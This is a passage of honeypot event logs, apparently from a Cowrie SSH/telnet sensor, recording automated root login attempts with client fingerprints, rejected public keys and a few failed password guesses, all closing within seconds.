2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.523101Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:d3:5a:b1:d5:d3:6b:08:23:fb:7a:a6:b1:f4:1f:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb87gcV5Kgjl/RiAKI4CL2RapvE+kw/GUfj7RMd3rOelsZNr1LTnHfTjaLoCTkPMybeXTsDM3GFJyQT7rIMG1DJS62kJnP9f/CNSygigmcLCs9jza6e/SEXeuKIFACUa8wNP6bB4rt0JZmpVYNQDe8ye1q0jZpkeXV1grhN6IzfvgaGYQ60WahYzS+F0dqODRMqg9QxDCG7jkGammGULXaXN81Ude+xgrdATfpCoSlSgXFH0xRJqEebVj9s+SWyR81be1dKmxQGb5veMd5RiNeV/kSPjUj157ozmMahaHwOxMZWo6hPKtYgmo9upUuVoT1lSIYaiP4SGQrVR5BEvbB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:d3:5a:b1:d5:d3:6b:08:23:fb:7a:a6:b1:f4:1f:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.824676Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:d3:5a:b1:d5:d3:6b:08:23:fb:7a:a6:b1:f4:1f:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb87gcV5Kgjl/RiAKI4CL2RapvE+kw/GUfj7RMd3rOelsZNr1LTnHfTjaLoCTkPMybeXTsDM3GFJyQT7rIMG1DJS62kJnP9f/CNSygigmcLCs9jza6e/SEXeuKIFACUa8wNP6bB4rt0JZmpVYNQDe8ye1q0jZpkeXV1grhN6IzfvgaGYQ60WahYzS+F0dqODRMqg9QxDCG7jkGammGULXaXN81Ude+xgrdATfpCoSlSgXFH0xRJqEebVj9s+SWyR81be1dKmxQGb5veMd5RiNeV/kSPjUj157ozmMahaHwOxMZWo6hPKtYgmo9upUuVoT1lSIYaiP4SGQrVR5BEvbB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.827998Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:dd:9f:d6:4e:f2:c2:14:c6:19:ad:f8:8c:dd:ed:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmoESYkhS3JoaRfOjIbT9fbSZHXwDgJndyWjSkV+wcuToBubBJ6o5S4kWxDgGol9OvtgqQ126I/9xZyt/Mud63CsnfXgUZfZXYKHXDOKdkMqligUL0c1fZgxRDetr7KmYuPnget5pcNeTP2UiPyYo+8JGNBpIbG7mr3NXZ+BlKBMATDgKN0vtb57oG27UcI1fs9hRz6erM5zfSg6paAE8sIvh6xnz7DFPOJT/JgBbw+ol+X8KtEVk+AEtD6cDJddLWDTCr6R9SZ4dmVIc35TJh4ya/z9tNFfPDihq3KO8org9+lwdS3R6p4MwayYDqDNggDr2RwEoThmhYcpen/JHZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:dd:9f:d6:4e:f2:c2:14:c6:19:ad:f8:8c:dd:ed:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.892998Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:dd:9f:d6:4e:f2:c2:14:c6:19:ad:f8:8c:dd:ed:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmoESYkhS3JoaRfOjIbT9fbSZHXwDgJndyWjSkV+wcuToBubBJ6o5S4kWxDgGol9OvtgqQ126I/9xZyt/Mud63CsnfXgUZfZXYKHXDOKdkMqligUL0c1fZgxRDetr7KmYuPnget5pcNeTP2UiPyYo+8JGNBpIbG7mr3NXZ+BlKBMATDgKN0vtb57oG27UcI1fs9hRz6erM5zfSg6paAE8sIvh6xnz7DFPOJT/JgBbw+ol+X8KtEVk+AEtD6cDJddLWDTCr6R9SZ4dmVIc35TJh4ya/z9tNFfPDihq3KO8org9+lwdS3R6p4MwayYDqDNggDr2RwEoThmhYcpen/JHZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.897580Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:f2:99:e5:a1:dd:6f:3e:3c:76:0c:26:14:82:75:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmLxWDel2zxUw5YWrP1B17myGME92NnmIUQ8l6QRtiVkz7o3sJBTQT/54I8n1zOXEwTYoumZTzcRZanVa98v1+fK3S4JvQ1+9JqNZ0ZdwXQ9PJMU5D5Mv3eXeOksFpe68h60Ga0iNZERq7o6KPAMhCkY/q/sz9DC9DWXNIWgz8kWe5iGeTmwu5gIE/rIMm/fjsbmLovJRWzgxJ/PJdFSG/vzSQByjVIlrhk9f8KI6ocSi2BSHjEk5s/QhJs1rEszFLrGkJVE8tj9HDQkFEgsTQTtAMjy8oDBVQjwKUdwvS4oRxeoaraqNQ8BsVKzbsUFIGu7mFb9VM/F4Gzsvrlgo/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:f2:99:e5:a1:dd:6f:3e:3c:76:0c:26:14:82:75:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.963733Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:f2:99:e5:a1:dd:6f:3e:3c:76:0c:26:14:82:75:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmLxWDel2zxUw5YWrP1B17myGME92NnmIUQ8l6QRtiVkz7o3sJBTQT/54I8n1zOXEwTYoumZTzcRZanVa98v1+fK3S4JvQ1+9JqNZ0ZdwXQ9PJMU5D5Mv3eXeOksFpe68h60Ga0iNZERq7o6KPAMhCkY/q/sz9DC9DWXNIWgz8kWe5iGeTmwu5gIE/rIMm/fjsbmLovJRWzgxJ/PJdFSG/vzSQByjVIlrhk9f8KI6ocSi2BSHjEk5s/QhJs1rEszFLrGkJVE8tj9HDQkFEgsTQTtAMjy8oDBVQjwKUdwvS4oRxeoaraqNQ8BsVKzbsUFIGu7mFb9VM/F4Gzsvrlgo/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:30.967816Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:5c:6f:aa:ac:a0:48:37:f8:3a:b0:c0:fa:3f:90:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBxYZR8fv7FUD3OmH12PLvSHoCeNN2a9tSmct1mw+gSOWluaRy1DK3q0AEWBrzbNmDwr+9cQqHr+J1SCChobHXDT5Tx0Sjumh+nwb6G5pgEJlU/2pNus9ZTo9wILZ77HLLyBnwzg3EPbxVYWkewQD0xEd4Rt6J89Pxv3z/aisoes1J4FPRp9TVMi6TCEsohnl+sk7gTpMXL2l8tnFMffB3hhf44Iw+865rWA63O3y2mnI+uU6dFAH+/SJimXyJ/q/wLFfB0gyx3Rad1OOhEHZOv4GNBmlWwQ6oMtR8pUzeDc9ATTfLXLL8SqHod+FzwpNvlb7ks4GMmnEZLOorAyO4SGfvuB+y+osvMUUhTCeChZoGfOoyHvrxxRtYmFvH06RPXgzbuBgLboA16JfwDW0zVD+G0xwZQhMYrSUf421hqYdlKQIhhzc31St4TBHYnM2yTZdWB3TfLLTx1sRF6fpqpiZCVjUXwg3Hh7W8CGh/kbkmQly4b7oo43H6RcwyHi7iq4nku5OH7M/xkcE4i+EOrxPfutB9NwxvH300+WYd47IXcBKuxQBqOrH+b72xunOeI2f0cYx5OdHGBDZ8EVbql0p4jpPOCpcjIZlUU5xWwEzvX+ESEH6C92S32EL/GMjflAOQSehBHciy7i+VeZspH/s/apnMW5HLbC/+1px7Qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:5c:6f:aa:ac:a0:48:37:f8:3a:b0:c0:fa:3f:90:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:31.036197Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:5c:6f:aa:ac:a0:48:37:f8:3a:b0:c0:fa:3f:90:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBxYZR8fv7FUD3OmH12PLvSHoCeNN2a9tSmct1mw+gSOWluaRy1DK3q0AEWBrzbNmDwr+9cQqHr+J1SCChobHXDT5Tx0Sjumh+nwb6G5pgEJlU/2pNus9ZTo9wILZ77HLLyBnwzg3EPbxVYWkewQD0xEd4Rt6J89Pxv3z/aisoes1J4FPRp9TVMi6TCEsohnl+sk7gTpMXL2l8tnFMffB3hhf44Iw+865rWA63O3y2mnI+uU6dFAH+/SJimXyJ/q/wLFfB0gyx3Rad1OOhEHZOv4GNBmlWwQ6oMtR8pUzeDc9ATTfLXLL8SqHod+FzwpNvlb7ks4GMmnEZLOorAyO4SGfvuB+y+osvMUUhTCeChZoGfOoyHvrxxRtYmFvH06RPXgzbuBgLboA16JfwDW0zVD+G0xwZQhMYrSUf421hqYdlKQIhhzc31St4TBHYnM2yTZdWB3TfLLTx1sRF6fpqpiZCVjUXwg3Hh7W8CGh/kbkmQly4b7oo43H6RcwyHi7iq4nku5OH7M/xkcE4i+EOrxPfutB9NwxvH300+WYd47IXcBKuxQBqOrH+b72xunOeI2f0cYx5OdHGBDZ8EVbql0p4jpPOCpcjIZlUU5xWwEzvX+ESEH6C92S32EL/GMjflAOQSehBHciy7i+VeZspH/s/apnMW5HLbC/+1px7Qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:31.040578Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:4d:dc:f3:1a:f4:3d:1a:1c:57:9e:82:13:d9:26:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsgo7dhkW9I7sF0HoWgvqpriHarkII5KybZc8gMI5nXV/diaxtchPmVSvc5WdUlhASsbrhcZPOUgghgNT8ARQTBrZ56mrgLDUBaHI+HzAN5pcEaym/Gs2sQFHBH5IDaPxwnYehefIDER+fGsvqW5EWhE2177g7sPBwnVsobdlyV9++gyHrCb1BQlg+76rWoW8Yn0J7Pc0Te8CzCEwg/xeekRJDbE/85S/Bu1LDUNAKELWWiMkj1IR+rFJH1cujx9k3Q5JEmv0Kzs4K5Udyv6j98KAMPBcGmNRO/0gttvaGzd1pqildHCU2/pQbHb+1v5PFqWm3tpfZa6FcsHRAEtCj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:4d:dc:f3:1a:f4:3d:1a:1c:57:9e:82:13:d9:26:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:31.106357Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:4d:dc:f3:1a:f4:3d:1a:1c:57:9e:82:13:d9:26:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsgo7dhkW9I7sF0HoWgvqpriHarkII5KybZc8gMI5nXV/diaxtchPmVSvc5WdUlhASsbrhcZPOUgghgNT8ARQTBrZ56mrgLDUBaHI+HzAN5pcEaym/Gs2sQFHBH5IDaPxwnYehefIDER+fGsvqW5EWhE2177g7sPBwnVsobdlyV9++gyHrCb1BQlg+76rWoW8Yn0J7Pc0Te8CzCEwg/xeekRJDbE/85S/Bu1LDUNAKELWWiMkj1IR+rFJH1cujx9k3Q5JEmv0Kzs4K5Udyv6j98KAMPBcGmNRO/0gttvaGzd1pqildHCU2/pQbHb+1v5PFqWm3tpfZa6FcsHRAEtCj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:31.109763Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:31.174193Z","src_ip":"86.111.187.169","session":"03532f8a4661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":33597,"dst_ip":"159.203.135.109","dst_port":22,"session":"12072e40480d","protocol":"ssh","message":"New connection: 205.254.166.156:33597 (159.203.135.109:22) [session: 12072e40480d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:36.106732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:36.111446Z","src_ip":"205.254.166.156","session":"12072e40480d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:36.321115Z","src_ip":"205.254.166.156","session":"12072e40480d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jack","message":"login attempt [root/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:37.191176Z","src_ip":"205.254.166.156","session":"12072e40480d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:38.404522Z","src_ip":"205.254.166.156","session":"12072e40480d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":34764,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab90d0dfdb8","protocol":"ssh","message":"New connection: 2.27.36.16:34764 (159.203.135.109:22) [session: dab90d0dfdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:48.034930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:48.039530Z","src_ip":"2.27.36.16","session":"dab90d0dfdb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:48.138289Z","src_ip":"2.27.36.16","session":"dab90d0dfdb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"emporium","message":"login attempt [root/emporium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:48.553145Z","src_ip":"2.27.36.16","session":"dab90d0dfdb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:55:49.651056Z","src_ip":"2.27.36.16","session":"dab90d0dfdb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":46866,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca7f53dbf31","protocol":"telnet","message":"New connection: 167.71.238.254:46866 (10.17.0.5:23) [session: 5ca7f53dbf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:56:09.296932Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":35588,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3ff18c8180f","protocol":"ssh","message":"New connection: 41.181.156.205:35588 (159.203.135.109:22) [session: b3ff18c8180f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:56:28.114133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:56:28.118663Z","src_ip":"41.181.156.205","session":"b3ff18c8180f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:56:28.367966Z","src_ip":"41.181.156.205","session":"b3ff18c8180f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sakura","message":"login attempt [root/sakura] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:56:29.395301Z","src_ip":"41.181.156.205","session":"b3ff18c8180f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:56:30.648414Z","src_ip":"41.181.156.205","session":"b3ff18c8180f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.225515127182007,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:56:32.522323Z","src_ip":"167.71.238.254","session":"5ca7f53dbf31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":54520,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdd08b87b408","protocol":"ssh","message":"New connection: 43.135.166.146:54520 (10.17.0.5:22) [session: fdd08b87b408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:01.929608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:01.958429Z","src_ip":"43.135.166.146","session":"fdd08b87b408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:02.032472Z","src_ip":"43.135.166.146","session":"fdd08b87b408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:02.341146Z","src_ip":"43.135.166.146","session":"fdd08b87b408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:03.414672Z","src_ip":"43.135.166.146","session":"fdd08b87b408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":45874,"dst_ip":"159.203.135.109","dst_port":22,"session":"5857b1ded1ca","protocol":"ssh","message":"New connection: 2.27.36.16:45874 (159.203.135.109:22) [session: 5857b1ded1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:09.571880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:57:09.577998Z","src_ip":"2.27.36.16","session":"5857b1ded1ca","protocol":"ssh"}
